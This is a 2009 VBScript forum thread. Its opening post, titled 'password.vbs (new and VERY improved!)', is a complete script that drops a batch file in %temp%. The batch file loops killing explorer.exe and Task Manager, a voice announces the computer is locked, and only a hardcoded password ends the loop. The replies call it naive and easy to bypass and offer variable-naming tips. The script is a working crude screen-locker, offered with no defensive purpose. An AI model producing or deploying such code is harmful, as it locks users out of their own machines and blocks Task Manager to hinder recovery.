password.vbs (new and VERY improved!)

Author Message
nate.person

  • Total Posts : 14
  • Scores: 0
  • Reward points : 0
  • Joined: 5/21/2009
  • Status: offline
password.vbs (new and VERY improved!) Friday, May 22, 2009 4:04 PM (permalink)
0
'password.vbs
dim x, a, aa, strtemp, strfile, fso, objfile, sp
set aa = createobject("wscript.shell")
strtemp = aa.expandenvironmentstrings("%temp%")
strfile = (strtemp)& "\password_helper.bat"
set fso = createobject("scripting.filesystemobject")
set objfile = fso.createtextfile(strfile)
objfile.writeline "@echo off"
objfile.writeline "cd %temp%"
objfile.writeline ":run"
objfile.writeline "taskkill /f /im explorer.exe"
objfile.writeline "taskkill /f /im taskmgr.exe"
objfile.writeline "if exist key goto end"
objfile.writeline "goto run"
objfile.writeline ":end"
objfile.writeline "del key /q"
objfile.writeline "exit"
set x = createobject("wscript.shell")
x.run "%comspec% /c start /min "& (strfile)
set sp = createobject("sapi.spvoice")
sp.speak "nate has locked your computer"
a = inputbox("PASSWORD:","","****")
if a = ("0160") then
fso.createfolder(strtemp)& "\key"
wscript.sleep 3000
fso.deletefolder(strtemp)& "\key", true
x.run "explorer.exe"
msgbox "welcome"
end if
wscript.quit
<message edited by nate.person on Saturday, May 23, 2009 3:01 AM>
 
#1
    ickleric

    • Total Posts : 92
    • Scores: 0
    • Reward points : 0
    • Joined: 11/15/2006
    • Status: offline
    RE: password.vbs (new and VERY improved!) Monday, May 25, 2009 9:43 PM (permalink)
    0
    what does this script do?
     
    #2
      ebgreen

      • Total Posts : 8227
      • Scores: 98
      • Reward points : 0
      • Joined: 7/12/2005
      • Status: offline
      RE: password.vbs (new and VERY improved!) Tuesday, May 26, 2009 8:25 AM (permalink)
      0
      It is a relatively naive way to sort of lock a computer. You can still access any running apps, and it is pretty easy to bypass though.
      "... when you are good and crazy, oooh, oooh, oooh, the sky is the limit!" - The Tick
      Goog places to start:http://www.visualbasicscript.com/m_24727/tm.htm
      http://www.visualbasicscript.com/m_47117/tm.htm
       
      #3
        ebgreen

        • Total Posts : 8227
        • Scores: 98
        • Reward points : 0
        • Joined: 7/12/2005
        • Status: offline
        RE: password.vbs (new and VERY improved!) Tuesday, May 26, 2009 8:29 AM (permalink)
        0
        There are some changes that I would also suggest from a best practices standpoint:

        1) aa is really not a very good variable name.
        2) When you open a file is is a good practice to get into the habit of closing it when you finish with it.
        3) x is also not a terribly useful variable name.
        3) It is not necessaryry to always put () around a string. The only time you need to is when the string is an argument to a function.
        "... when you are good and crazy, oooh, oooh, oooh, the sky is the limit!" - The Tick
        Goog places to start:http://www.visualbasicscript.com/m_24727/tm.htm
        http://www.visualbasicscript.com/m_47117/tm.htm
         
        #4

          Online Bookmarks Sharing: Share/Bookmark

          Jump to:

          Current active users

          There are 0 members and 1 guests.

          Icon Legend and Permission

          • New Messages
          • No New Messages
          • Hot Topic w/ New Messages
          • Hot Topic w/o New Messages
          • Locked w/ New Messages
          • Locked w/o New Messages
          • Read Message
          • Post New Thread
          • Reply to message
          • Post New Poll
          • Submit Vote
          • Post reward post
          • Delete my own posts
          • Delete my own threads
          • Rate post

          2000-2012 ASPPlayground.NET Forum Version 3.9